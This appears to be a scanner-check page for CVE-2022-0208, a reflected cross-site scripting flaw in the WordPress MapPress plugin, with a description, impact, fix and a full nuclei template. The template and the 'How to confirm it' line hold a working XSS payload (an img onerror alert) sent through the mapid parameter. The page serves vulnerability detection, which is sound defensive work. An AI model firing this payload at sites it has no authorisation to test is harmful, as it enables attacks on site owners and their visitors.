WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

WordPress Plugin MapPress before version 2.73.4 does not sanitize and escape the 'mapid' parameter before outputting it back in the "Bad mapid" error message, leading to reflected cross-site scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update to the latest version of MapPress (2.73.4 or higher) or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E
Positive when: contains in header "text/html" AND contains "<img src onerror=alert(document.domain)>" and "Bad mapid" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0208 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0208

info:
  name: WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    WordPress Plugin MapPress before version 2.73.4 does not sanitize and escape the 'mapid' parameter before outputting it back in the "Bad mapid" error message, leading to reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of MapPress (2.73.4 or higher) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/59a2abd0-4aee-47aa-ad3a-865f624fa0fc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0208
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0208
    cwe-id: CWE-79
    epss-score: 0.02031
    epss-percentile: 0.81212
    cpe: cpe:2.3:a:mappresspro:mappress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: mappresspro
    product: mappress
    framework: wordpress
  tags: cve2022,cve,mappress,xss,wordpress,wp-plugin,wpscan,mappresspro,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "<img src onerror=alert(document.domain)>"
          - "Bad mapid"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from